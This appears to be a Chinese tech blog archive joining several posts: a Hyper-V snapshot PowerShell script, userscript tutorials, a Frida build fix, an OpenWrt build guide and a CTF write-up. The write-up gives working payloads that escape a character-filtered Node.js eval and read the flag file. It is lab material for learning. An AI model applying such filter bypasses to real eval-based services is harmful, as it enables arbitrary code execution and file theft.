前言 最近拿闲置电脑装了个Win11作为NAS使用，感觉Windows NAS也没有那么不堪用了，顺便使用Windows自带的Hyper-V作为虚拟机平台使用，对比Proxmox和ESXi，能用，但又不是很好用，甚至没有自动化创建快照的功能，好在PowerShell提供了接口，就写个脚本完成定时创建快照 脚本正文 $isAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) # 如果不是管理员，以管理员身份重新运行脚本 if (-not $isAdmin) { Start-Process powershell -ArgumentList "-NoProfile -ExecutionPolicy Bypass -File `"$PSCommandPath`"" -Verb RunAs Exit } # 此处放置你的脚本的其余部分 Write-Output "脚本以管理员身份运行" # 保留的最大快照数量 $maxSnapshots = 14 # 获取所有虚拟机的名称 $vms = Get-VM foreach ($vm in $vms) { Write-Output "为虚拟机 $($vm.Name) 创建定时快照" $datetime = Get-Date -Format 'yyyy-MM-dd tt hh:mm:ss' # 创建快照 Checkpoint-VM -VM $vm -SnapshotName "定时快照 ($datetime)" # 获取所有快照 $snapshots = Get-VMSnapshot -VM $vm | Where-Object { $_.Name -like '定时快照*' } Write-Output "共有 $($snapshots.Count) 个定时快照" # 如果快照数量超过限制，则删除较旧的快照 if ($snapshots.Count -gt $maxSnapshots) { $snapshotsToDelete = $snapshots | Sort-Object CreationTime | Select-Object -First ($snapshots.Count - $maxSnapshots) foreach ($snapshot in $snapshotsToDelete) { Write-Output "删除快照 $($snapshot.Name)" Remove-VMSnapshot -VM $vm -Name $snapshot.Name } } } 记得用 UTF8-with-BOM 编码保存，否则脚本中的中文会乱码 添加定时任务 如果没有设置过脚本执行策略的话Windows默认禁止执行脚本，用命令改成允许本地脚本执行，远程脚本需要签名才能执行 Set-ExecutionPolicy RemoteSigned 然后在任务计划程序(taskschd.msc)中添加新的任务 操作Hyper-V需要提权，一定要勾选使用最高权限运行 触发器就是什么时间执行任务，按需设置，我这里设的是一天备份两次 操作就是执行的动作，添加一条启动程序的操作，程序或脚本填powershell -File 脚本文件路径 保存需要输入当前的账户密码，然后在右侧菜单手动执行一下任务 如果一切正常就可以在Hyper-V管理器中看见脚本创建的快照了
前言 消失大半年，其中一个原因是工作了，大部分时间在给公司做开发，业余时间在写外包赚米，另一个原因就是拖延症犯了，越拖越想拖 过年放了半个月假，稍微有点时间做点自己一直以来就很想做的事——给NGA去广告，当然，JS教程也会安排上的 [...]
【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
P2 初识油猴脚本 教程索引 视频链接 光讲JS感觉不是特别直观，用两个不涉及网络请求的脚本进行讲解 第一个脚本 - Remove Live.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/Bilibili/Remove_Live.js 脚本功能： 提供一个开关，用于移除直播播放器，并且带有记忆功能 源码： // ==UserScript== // @name Remove_Live // @name:zh-CN 去除B站直播间播放器 // @namespace https://blog.chrxw.com // @version 1.1 // @description 去除B站多余的直播播放器（滑稽） // @author Chr_ // @include https://live.bilibili.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // ==/UserScript== (() => { "use strict"; //去除播放器的开关 let VEnable = localStorage.getItem("VEnable") === "true"; if (VEnable) { setTimeout(() => { document.getElementById("live-player").remove(); }, 3000); } let btnArea = document.querySelector(".right-ctnr"); let btn = document.createElement("button"); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; btn.addEventListener("click", () => { VEnable = !VEnable; localStorage.setItem("VEnable", VEnable); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; if (VEnable) { document.getElementById("live-player").remove(); } else { location.reload(); } }); btnArea.insertBefore(btn, btnArea.children[0]); })(); 第二个脚本 - SteamDB CN.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/SteamDB/SteamDB_CN.js 脚本功能： 汉化SteamDB 源码： // ==UserScript== // @name:zh-CN SteamDB汉化 // @name SteamDB_CN // @namespace https://blog.chrxw.com // @supportURL https://blog.chrxw.com/scripts.html // @contributionURL https://afdian.net/@chr233 // @version 1.32 // @description SteamDB汉化插件 // @description:zh-cn SteamDB汉化插件 // @author Chr_ // @match https://steamdb.info/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @resource data https://cf.chrxw.com/SteamDB/SteamDB_CN.json // @grant GM_addStyle // @grant GM_getResourceText // @grant GM_registerMenuCommand // ==/UserScript== (() => { "use strict"; //是否打开调试模式（使用自定义汉化规则而不是在线规则） const DEBUG = localStorage["dbg_mode"] == "开"; //是否在控制台输出未汉化文本 const OUTPUT = localStorage["out_word"] == "开"; GM_registerMenuCommand(`调试汉化文本: 【${DEBUG ? "开" : "关"}】`, () => { window.localStorage["dbg_mode"] = DEBUG ? "关" : "开"; window.location.reload(); }); GM_registerMenuCommand(`在控制台输出未匹配文本: 【${OUTPUT ? "开" : "关"}】`, () => { window.localStorage["out_word"] = OUTPUT ? "关" : "开"; window.location.reload(); }); document.querySelector("html").setAttribute("lang", "zh-CN"); let Locales; if (DEBUG) { const template = `{"DOC":{"更新时间":"调试模式","贡献名单":["调试模式"]},\n"STATIC":\n{\n\n},\n"INPUT":\n{\n\n},\n"LABEL":\n{\n\n},\n"DYNAMIC":\n{\n\n}\n}`; const box = document.createElement("div"); box.className = "sdc"; const text = document.createElement("textarea"); box.appendChild(text); const action = document.createElement("div"); action.className = "sdc-links"; box.appendChild(action); const btnSave = document.createElement("a"); btnSave.innerText = "💾 保存并应用"; btnSave.addEventListener("click", () => { const raw = text.value.trim(); if (!raw) { alert("翻译文本不能为空!!!"); } else { try { JSON.parse(raw); window.localStorage["sdb_lang"] = raw; window.location.reload(); } catch (e) { alert("翻译文本不是有效的JSON格式!!!"); } } }); action.appendChild(btnSave); const btnReset = document.createElement("a"); btnReset.textContent = "🗑️ 清空文本"; btnReset.addEventListener("click", () => { window.localStorage["sdb_lang"] = template; window.location.reload(); }); action.appendChild(btnReset); const btnOnline = document.createElement("a"); btnOnline.textContent = "📄 当前在线文本"; btnOnline.addEventListener("click", () => { if (confirm("替换为在线版本后当前所做修改将会丢失, 确定要继续吗?")) { text.value = GM_getResourceText("data"); } }); action.appendChild(btnOnline); const about = document.createElement('a'); about.href = "https://blog.chrxw.com" about.innerText = "🔗 By Chr_ © 2022"; action.appendChild(about); const father = document.getElementById("main"); father.insertBefore(box, father.firstChild); const customLang = window.localStorage["sdb_lang"] ?? template; text.value = customLang; Locales = JSON.parse(customLang); } else { Locales = JSON.parse(GM_getResourceText("data")); } //计时 const Start = new Date().getTime(); {//静态元素 for (const [css, dic] of Object.entries(Locales.STATIC)) { if (OUTPUT) { console.log(`〖${css}〗`); } const elements = document.querySelectorAll(css); if (elements.length > 0) { for (let i = 0; i < elements.length; i++) { const element = elements[i]; if (element.childElementCount === 0) {//节点内部无其他元素 const raw = element.innerText?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { element.innerText = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } else {//节点内部有其他元素 const nodes = element.childNodes; for (let j = 0; j < nodes.length; j++) { const node = nodes[j]; if (node.nodeType === Node.TEXT_NODE) { const raw = node.textContent?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { node.textContent = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } } } } else { if (OUTPUT) { console.warn(`CSS选择器未匹配到任何元素: ${css}`); } } } } {//输入框 const inputs = Locales.INPUT; if (OUTPUT) { console.log("〖输入框〗"); } const elements = document.querySelectorAll("input"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.placeholder; if (!raw) { continue; } const txt = inputs[raw]; if (txt) { element.placeholder = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } {//悬浮提示 const labels = Locales.LABEL; if (OUTPUT) { console.log("〖提示文本〗"); } const elements = document.querySelectorAll("*[aria-label]"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.getAttribute("aria-label"); if (!raw) { continue; } const txt = labels[raw]; if (txt) { element.setAttribute("aria-label", txt); } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } const { script: { version } } = GM_info; //const version = GM_info.script.version; const { DOC: { "更新时间": update, "贡献名单": contribution } } = Locales; const End = new Date().getTime(); // 统计耗时 console.log("执行耗时", `${End - Start} ms`); console.log("================================="); console.log(`插件版本: ${version}`); console.log(`更新时间: ${update}`); console.log(`贡献名单: ${contribution.join(", ")}`); console.log("================================="); console.log("迷茫同学:\n『没有恶意 请问直接用谷歌翻译整个网页不香吗』") // 添加按钮 const headerUl=document.querySelector(".header-menu-container>div>ul:nth-child(1)"); const footerUl=document.querySelector(".footer-container>div>ul:nth-child(1)"); const scriptLink = document.createElement("li"); scriptLink.innerHTML = `SteamDB 汉化 V${version}`; headerUl.appendChild(scriptLink); footerUl.appendChild(scriptLink.cloneNode(true)); // 添加样式 GM_addStyle(` .tabnav-tabs > a { min-width: 80px; } .sdc { display: flex; } .sdc > textarea { width: 100%; height: 200px; min-height: 200px; resize: vertical; } .sdc > div.sdc-links { width: 150px; margin: 5px; } .sdc > div.sdc-links > a { width: 100%; margin-bottom: 10px; background-color: #213145; color: white; font-size: 12px; border-radius: 0px; display: inline-block; height: 30px; } .sdc > div.sdc-links > a:last-child { width: 100%; margin-top: 30px; margin-bottom: 0px; color: #67c1f5; background-color: #273b4b; } `); })(); 油猴脚本基本构成 元信息 记录脚本的额外信息，供油猴插件以及 GreasyFork 使用 // ==UserScript== // @name:zh-CN 脚本名称(可选，可以使用语言代码来支持多语言) // @name 脚本名称 // @namespace 命名空间 // @version 脚本版本 // @description 脚本描述 // @description:zh-cn 脚本描述(可选，可以使用语言代码来支持多语言) // @author 作者 // @include 脚本生效域名 // @match 脚本生效域名 // @license 共享协议 // @icon 脚本图标(可选) // @resource 外部资源链接，以及访问名称(可选) // @grant 申请额外权限(可选) // ==/UserScript== 脚本正文 略
前言 这几天重操旧业开始日某个APP，Frida已经更新到15了，更新的时候遇到了一些问题 正文 直接 pip install frida 会报错，错误如图 其实就是需要手动下载一个egg包放在用户目录即可，可以在PyPI上下载到 可是没有预编译的适用于Python3.9的egg包，只好自己编译了 下载最上面的 Source Distribution 源码包，解压以后手动编译 # 构建 python setup.py build # 编译egg包 python setup.py bdist_egg 然后又报错了…… 这里出错是因为参数path是二进制字符串而不是普通的字符串，需要做一个decode操作转成普通字符串即可 在setup.py第191行加上.decode('utf-8')即可 改完就可以顺利编译了，编译好的egg文件在dist目录下，把这个文件拷到用户根目录，比如C:\Users\chr11 然后用pip安装即可 pip install frida frida-tools 然后就可以愉快地hook了
前言 本教程基于 LEDE 项目 首先需要安装Linux虚拟机或者使用WSL虚拟环境，这里使用后者 正文 准备工作 首先自然是配置依赖环境 sudo apt -y update sudo apt -y install build-essential asciidoc binutils bzip2 gawk gettext git libncurses5-dev libz-dev patch python3 python2.7 unzip zlib1g-dev lib32gcc1 libc6-dev-i386 subversion flex uglifyjs git-core gcc-multilib p7zip p7zip-full msmtp libssl-dev texinfo libglib2.0-dev xmlto qemu-utils upx libelf-dev autoconf automake libtool autopoint device-tree-compiler g++-multilib antlr3 gperf wget curl swig rsync 因为要对LEDE固件做一些修改，所以我们需要去Folk一份源码 然后把刚刚Folk的仓库clone到本地 x> 请不要下载Zip存档，这样操作会丢失git配置，导致后续操作无法继续 # PS: 这里换成自己的仓库的地址 git clone https://github.com/chr233/lede !> 请确保处于大小写敏感的文件系统下，否则无法使用配置工具（NTFS和FAT都不行, EXT4可以） 然后使用命令就可以进入配置菜单了 make menuconfig 编译配置菜单说明（部分） Target System (Broadcom BCM27xx) #选择处理器架构 Subtarget (BCM2711 boards (64 bit)) #选择处理器 Target Profile (Raspberry Pi 4B/400/4CM (64bit)) #预制配置文件 Target Images #固件映像设置 ramdisk # 内存盘, 硬件内存充裕的话可以打开，有效提升性能 Compression # 压缩等级(none表示不压缩) Root filesystem archives #根文件系统存档类型 cpio.gz tar.gz Root filesystem images #根文件系统格式 ext4 #适用于大容量闪存,易于修改分区大小,没有恢复出厂设置的功能 squashfs #适用于小容量闪存，不可修改分区大小，有恢复出厂设置的功能 Gzip images #Gzip存档 Image Options Kernel partition size #内核分区大小，建议64M到256M，足够了 Root filesystem partition size #跟文件系统分区大小，根据闪存大小自行设定 Make /var persistent #持久化/var(开启后重启软路由/var下内容会保留) 以下设置一般无需修改 Enable experimental features by default #默认启用实验性功能 Global build settings #全局编译设置 Advanced configuration options (for developers) #高级选项(仅供开发者) Build the OpenWrt Image Builder #编译OpenWrt镜像编译器 Build the OpenWrt SDK #编译OpenWrt SDK Package the OpenWrt-based Toolchain #打包OpenWrt工具链 Image configuration #镜像选项 以下可以根据需要选择要加入的附加组件 i> M代表编译成ipk包，不内置在固件中，可以之后单独安装，*代表内置在固件中 Base system #基本组件 Administration #管理员工具 Boot Loaders #引导程序 Development #开发者工具 Extra packages #额外包 Firmware #固件工具 Fonts #字体 Kernel modules #内核模块 Languages #额外的语言(Python3,PHP,NodeJS等) Libraries #系统库 LuCI #LuCI插件(一般只需修改应用和主题) Collections #合集 Modules #模块 Applications #应用程序 Themes #主题 Protocols #协议支持 Libraries #运行库 default-settings # 默认选项(自动配置语言包) Mail #邮件 Multimedia #多媒体 Network #网络相关 Sound #音频 Utilities #各类实用软件(比如VIM) Xorg 修改完成以后，按左右方向键选中Save，按回车键保存，无需修改文件名，保存为.config即可 准备工作 为了能使用GitHub Action进行在线编译，我们需要将.config上传到自己的仓库中，可以手动上传，也可以在.gitignore中设置取消忽略 直接在.gitignore中删除/.config行即可 然后就可以使用Git进行提交了 git add .config git commit -m "update" git push 如果一切顺利，可以在自己的仓库中看到.config文件，这个就是编译配置文件了 然后切换到Actions页，点击绿色按钮启用GitHub Actions功能 然后回到仓库主页，右下角找到Release，进入Release页 点击Draft a new release创建新的Release 标题和内容可以随便填，最后点Publish release发布 然后回到Actions页，可以看到自动触发了一个workflow 然后只需要耐心等待，如果编译成功，图标会变成绿色，点进去就能下载编译好的固件了 OpenWrt_buildinfo #固件编译信息，没什么用 OpenWrt_firmware #编译好的固件本体 解压即可得到指定分区格式的镜像 如果是第一次刷入，需要刷入带factory的镜像 如果是通过网页升级，则需要上传带sysupgrade镜像 OpenWrt_package #编译好的ipk包 可以在刷入固件以后手动安装到OpenWrt中
前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了
油猴脚本不求人！零基础油猴脚本编写指南
前言 本文首发于我的博客和其乐论坛，未经授权禁止转载 本文全程使用原生JavaScript进行编程，不使用像jQuery这样的第三方库 视频链接 零基础油猴脚本编写指南【上】 （对应0x01~0x05） 0x00 前置知识 本节简单的介绍一下一些名词的概念，了解为主，直接跳过也是可以的 HTML、CSS和JS HTML即超文本标记语言，它用来描述各种网页元素，类似与一份清单，浏览器读取以后根据它来加载对应的资源 CSS即层叠样式表，它只用来描述网页元素的外观，还可以添加少许动画，但是不影响功能 JS即JavaScript，它是一种网页脚本语言，用来让静态的网页能够响应各种动作，还可以挖矿 如果把HTML比作木偶，那么CSS就是木偶的衣服，JS就是木偶的提线，用来操控木偶 油猴和浏览器 当你访问链接的时候，浏览器会先下载链接对应的文件（通常是一个HTML文件），然后根据HTML描述的对象列表，来下载图片、视频等资源，有的CSS和JS内嵌在HTML文件里，有的则是单独的文件，等必要的资源加载完成以后，浏览器才能生成可以交互的网页 油猴实际上是一个加载器，它把用户脚本安插在最开始获取到的HTML文件中，这样浏览器加载网页的时候，也会加载特定的用户脚本，这样我们就能够通过编写用户脚本来修改网页了 HTML5和DOM HTML5是现行的HTML标准，DOM即文档对象模型，是一用对象表示HTML标签的方法，通过DOM，我们可以简单的修改文档对象的属性，来轻松修改HTML标签的内容 0x01 初识开发者工具 工欲善其事必先利其器，本节简单的介绍一下开发者工具的使用。 本节以我的博客作为演示，地址：chrxw.com 个人比较喜欢Firefox的开发者工具，以下介绍均使用Firefox进行演示，如果使用Chrome的话可能布局会有细微差异，不过功能是类似的。 Chrome自带的开发者工具貌似没有汉化，建议使用别的Chromium内核的浏览器（比如新版Edge），功能都差不多。 在浏览器中按F12即可打开开发者工具 查看器，左侧可以查看页面的HTML内容，右侧显示的是选中的DOM元素的CSS 控制台，可以运行自己编写的JS代码。 也可以在设置里打开“分离式控制台”，这样就可以在所有TAB里都显示控制台了。 调试器，可以用来单步调试JS 网络，可以查看浏览器的网络请求 储存，在这个TAB中可以查看网站在本地保存的内容，最常用的是Cookie，其次是LocalStorge（本地储存），还有个由浏览器自动管理的Session（会话储存），JS可以访问的只有Cookie和LocalStorge。 0x02 初识DOM 本节通过使用开发者工具，简单的演示一下如何操作DOM元素，以我的博客作为演示，地址：chrxw.com 首先打开开发者工具，然后激活选择器，然后点击“标题”，这样在右边的查看器中就会显示我们点击的对象 右键高亮的元素，然后点击“在控制台使用”（如果是Chromium或者Chrome，点击“复制”/“Copy”->“复制JS路径”/“Copy JS path”，然后把复制结果粘贴到控制台中） Firefox自动创建了一个temp0变量，按一下回车，可以看到控制台输出了一个DOM元素，点一下左边的箭头展开，可以看到这个对象的各种属性。 接下来我们尝试修改一下它的内容 temp0.textContent = 'hello world'; 按回车执行，然后可以看到，网页的标题已经被修改了 接着我们修改一下CSS，让它居中显示 temp0.style.textAlign='center'; 接下来我们创建一个新的DOM元素，然后插入到网页中 let btn = document.createElement('button'); btn.textContent = '按钮'; btn.addEventListener('click',() => { alert('hello world'); }); temp0.appendChild(btn); 点一下新出现的按钮，可以看到消息弹窗 代码讲解： PS： document 也是DOM元素，它代表整个网页，其他DOM元素都是它的子集。 let btn = document.createElement('button'); btn.textContent = '按钮'; 这两行代码创建了一个button对象，它内部的文本为按钮，由浏览器自动生成的HTML表达式为 按钮 btn.addEventListener('click',() => { alert('hello world'); }); 这三行代码为btn对象添加了事件监听器，addEventListener的第一个参数是事件监听器的名称，第二个参数是接收到指定事件后调用的函数，()=>{ ... }是匿名函数的缩略写法，匿名函数还有另一种等效写法function(){ ... }，或者写成普通函数，也是可以的。 //匿名函数写法2 btn.addEventListener('click',function(){ alert('hello world'); }); //普通函数的写法 btn.addEventListener('click',foo);//foo后面不加() function foo(){ alert('hello world'); } 添加好事件监听器以后，点一下按钮，就会触发click事件，然后由浏览器调用我们绑定的方法alert('hello world');，弹出消息框 temp0.appendChild(btn); A.appendChild(B)的作用是把B元素插入到A元素的子元素的末尾，也就是把btn对象插到temp0中，由浏览器自动帮我们修改了HTML文本 //修改前 Chr_小屋 //修改后 Chr_小屋 按钮 //这是我们新创建的DOM元素 通过操作DOM元素的属性，就可以很方便的修改网页的显示效果，添加各种功能。 0x03 DOM进阶之获取DOM元素 通过修改DOM元素的属性，可以很方便地修改网页，但是首先我们得获取我们想要修改的DOM元素 本节将会介绍如何获通过代码获取现存的DOM元素，以我的博客作为演示，地址：about.html 1. 使用ID进行获取 WEB开发者设计网页的时候，会给一些经常需要修改的元素添加id属性，原则上每个元素的id都是不同的，所以如果某个元素具有id属性，我们就可以使用getElementById来获取 需要注意的是，如果元素没有id属性的话这个方法就行不通了 随便打开一篇博文，最下面的评论框是带有id属性的，使用开发者工具我们可以看到，它的id为comment 我们可以用document.getElementById( id名称 )的方式获取DOM元素 let box = document.getElementById('comment'); box.value = '通过ID获取DOM'; 代码非常好理解，先调用getElementById方法获取DOM，然后修改它的value属性，效果就是文本框的内容被修改了 PS： textContent 属性修改的是HTML文本，而 value 属性修改的是文本框中的内容，不影响HTML文本 2. 使用CSS选择器进行获取 在一个网页中，具有id属性的元素不会太多，大多数时候都是没有这个属性的，这时候可以根据元素的class属性，使用querySelector（获取符合条件的第一个元素）或者querySelectorAll(获取符合条件的全部元素数组)进行获取 本节只介绍常用的方法，更详细的介绍可以参考这个：CSS 选择器参考手册 根据class进行选择 标题元素的class为entry-title m-n font-thin text-black l-h，class选择器的语法为.+class名称，如果有多个class名称，则用.分隔 所以标题元素的选择器写法为.entry-title.m-n.font-thin.text-black.l-h 在CSS选择器语法中，空格代表子元素的意思，所以不能随意添加空格。 通过搜索，我们发现entry-title在HTML文档只出现了一次，因此选择器也可以简化写作.entry-title，代码如下 //两种写法等效 document.querySelector('.entry-title.m-n.font-thin.text-black.l-h'); document.querySelector('.entry-title'); 在实际运用中，没必要给出完整的class，只需要写独一无二的部分即可 根据id进行选择（可以用，但还是建议用getElementById） id选择器的语法为#+id名称，评论框的id是comment，所以选择器写法为#comment，代码如下 //两种写法等效，推荐第一种 document.getElementById('comment'); document.querySelector('#comment'); 根据元素类型选择 还可以根据DOM元素的类型进行选择，如果网页中只有一个特定种类的元素，那么直接写元素类型即可 使用开发者工具，我们可以知道，评论框的类型为textarea，而且整个网页只有一个textarea，因此选择器可以直接写成textarea，代码如下 document.querySelector('textarea'); 根据相对关系进行选择 有的时候，想要操作的元素可能没有独一无二的属性，那么就可以根据相对关系进行选择 A>B表示在A的一级子元素中查找B A B表示在A的内部查找B（查找范围不仅包括子元素，还包括孙元素等） A+B表示与A相邻的B元素（平级关系，非父子关系） 这里的 A 和 B 代表的是选择器，选择器可以嵌套使用。 A.B，不表示相对关系，它表示类型是A，class名是B的元素，这个要注意。 还是用标题元素举例子 先找到容易定位的元素，然后再根据相对关系寻找想要找的元素，方法有很多，下面举几个例子 //以下语句都是等效的 document.querySelector('main>div>div>header>h1');//一级子元素 document.querySelector('main header>h1');//所有子元素 document.querySelector('main h1');//这样也可以 document.querySelector('header>h1');//多个方法定位header对象 document.querySelector('#small_widgets>h1'); document.querySelector('.bg-light.lter.wrapper-md>h1'); document.querySelector('header.bg-light>h1'); 写成这个样子主要是为了举例子，实际使用中选择器越简洁越好 根据其他属性名称进行选择 [xxx]选择带有xxx属性的元素 [xxx=sss]选择xxx属性等于sss的元素 [xxx~=sss]选择xxx属性包含sss的元素（sss必须是整个单词） [xxx|=sss]选择xxx属性以sss开头的元素（sss必须是整个单词） [xxx^=sss]选择xxx属性以sss开头的元素（sss可以是单词的一部分） [xxx$=sss]选择xxx属性以sss结尾的元素（sss可以是单词的一部分） [xxx*=sss]选择xxx属性包含sss的元素（sss可以是单词的一部分） 通过开发者工具可以看出高亮的DOM元素具有for属性，属性值为comment，代码如下，感受一下几种用法的区别 document.querySelector('[for=comment]');//完整匹配 document.querySelector('[for|=co]');//匹配开头，匹配失败，for属性中没有co这个单词 document.querySelector('[for~=co]');//匹配任意位置，匹配失败，for属性中没有co这个单词 document.querySelector('[for^=co]');//匹配开头 document.querySelector('[for*=co]');//匹配任意位置 document.querySelector('[for*=mm]');//匹配任意位置 document.querySelector('[for$=nt]');//匹配结尾 组合选择器 上面介绍过的选择器可以组合使用，比如选择表情按钮中的矢量图片 代码如下，自己体会一下各个部分是什么意思，以及哪些部分是没有必要的 //两种写法效果一样 document.querySelector('textarea.form-control[name=text]+div.OwO>.OwO-logo svg'); document.querySelector('.OwO-logo svg'); 0x04 DOM进阶之修改DOM元素 拿到了DOM对象，接下来就可以进行各种操♂作了 本节将会介绍DOM元素的常用方法，以我的博客作为演示，地址：about.html 以标题元素为例，首先我们先获取DOM对象 let h1 = document.querySelector('h1'); console.log(h1); 使用开发者工具可以非常方便的看到DOM元素的方法和属性 枚举子元素 DOM.children 返回值为DOM元素的所有子元素数组，如果不含有子元素，返回的是空数组。 可以通过DOM.children[i]的方式获取某一个子元素 获取/修改文本内容 DOM.textContent 返回值为当前DOM元素内的显示字符（没有被 < > 包起来的所有字符），不仅包括自身，还包括所有子元素 DOM.innerText也有类似的效果，区别是它会去掉多余的换行符 也可以修改DOM.textContent和`DOM.innerText 不过要注意的是，这两个方法会直接替换掉元素内部的内容，如果元素内部有其他子元素的话，子元素会消失。 获取/修改元素CSS 只能修改DOM元素的内联CSS，全局CSS得修改Style元素才行。 CSS相关内容不做过多介绍，贴个简单的教程：菜鸟CSS教程 DOM.style，获取DOM元素的内联CSS样式 DOM.style.[css名称]，获取DOM元素的特定CSS属性，例如textAlign DOM.style.cssText，获取DOM元素的内联CSS样式，纯文本格式 同样的，也可以用类似的方法修改CSS样式 DOM.style.[css名称] = 'xxx'，修改DOM元素的特定CSS属性为xxx DOM.style.cssText = 'aaa: xxx;'，直接修改DOM元素的内联CSS文本，可以一次设置多个CSS 如果想隐藏某些元素的话，可以把它的CSS的display属性设置成none，就会被隐藏起来了 新增子元素 DOM.appendChild( [要插入的DOM对象] ) appendChild会将新插入的对象放在所有子元素的末尾 DOM.insertBefore( [要插入的DOM对象] , [DOM对象，将要插在这个对象之前]) insertBefore可以指定新插入的对象的位置 let h1 = document.querySelector('h1'); let b1 = document.createElement('button'); b1.textContent='按钮1'; let b2 = document.createElement('button'); b2.textContent='按钮2'; h1.appendChild(b1); h1.insertBefore(b2,h1.children[0]); 删除对象 DOM.remove() 这是个方法，所以要加()，调用后会在HTML文本中删除对象对应的内容 添加/删除事件监听器 DOM.addEventListener( [事件名称] , [回调函数])添加事件监听器 DOM.removeEventListener( [事件名称] , [回调函数])移除事件监听器 也可以用以前的写法（不推荐）： DOM.on[事件名称] = [回调函数]添加事件监听器 DOM.on[事件名称] = null移除事件监听器 比如要让h1对象响应click事件，代码如下 let h1 = document.querySelector('h1'); //比较推荐这种写法 h1.addEventListener('click',() => { alert('响应click事件'); }); //也可以用旧风格的写法 h1.onclick = () => { alert('响应click事件'); }; //一些解释： //() => { ... } 定义了一个匿名函数，相当于 function(){ ... } //也可以使用实名函数，比如定义了function foo(){ ... }以后，也可以这么绑定： //h1.addEventListener('click',foo); //h1.onclick = foo; 删除绑定的方法也是类似的，不再赘述 模拟鼠标点击 DOM.click() 相当于鼠标点了一下DOM对象，触发它的click事件（如果有的话） 0x05 第一个油猴脚本 讲了这么久，都是在介绍前端的基础知识，接下来开始正文 首先让我们新建一个用户脚本 按Ctrl+S即可保存 元信息 元信息是给油猴插件使用的，用来记录脚本的属性 新建脚本时给出的默认元信息如下： // ==UserScript== // @name New Userscript //名称 // @namespace http://tampermonkey.net/ //命名空间 // 说明：@namespace相同，@name也相同的脚本会被油猴当做是同一个脚本，这两个属性起到区分不同脚本的作用 // @version 0.1 //版本号 // @description try to take over the world! //说明 // @author You //作者 // @match http://*/* //在什么网址下启用该脚本 // @grant none //特殊权限（调用GM_开头的函数需要先申请权限） // ==/UserScript== 还有部分比较常见的元信息： // @include /https://example.com/.*/ //和@match差不多，但是支持正则表达式，我更喜欢用这个 // @connect example.com //如果脚本需要访问跨域资源，需要提前申明 // @license AGPL-3.0 //脚本的授权许可信息 // @icon https://blog.chrxw.com/favicon.ico //脚本的图标（显示在脚本列表里） 代码区域 (function() { 'use strict'; // Your code here... })(); 首先定义了一个匿名函数function() { ... }，也可以写成我常用的格式，都是等效的： (() => { 'use strict'; // Your code here... })(); 用()把匿名函数包起来，再在后面加一个()，表示直接执行这个匿名函数 其实完全可以把代码写到匿名函数的外部，都可以执行，只是定义域不同而已 'use strict';是伪代码，它告诉解释器，开启严格模式 开启严格模式以后，会进行更严格的语法检查，建议开启，有利于养成良好的编码习惯 // 非严格模式，允许访问未定义变量 (() => { y = 3.14; // 不报错 })(); // 严格模式，允许访问已定义变量 (() => { "use strict"; // 启用严格模式 let y = 3.14; // 不报错（y已定义） })(); // 严格模式，不允许访问未定义变量 (() => { "use strict"; // 启用严格模式 y = 3.14; // 报错（y未定义） })(); 实现功能 接下来我们为脚本编写一些功能，以我的博客作为演示，地址：about.html 首先我们需要修改元信息，让脚步只在特定的网页生效 然后添加作者名称和脚本名称（除了@match都可以随便写） // ==UserScript== // @name 第一个油猴脚本 // @namespace http://blog.chrxw.com/ // @version 0.1 // @description hello world // @author Chr_ // @match https://blog.chrxw.com/about.html // @grant none // ==/UserScript== 我们先不编写脚本，我们先使用开发者工具测试一下代码 首先我们找一个对象下手（如图） 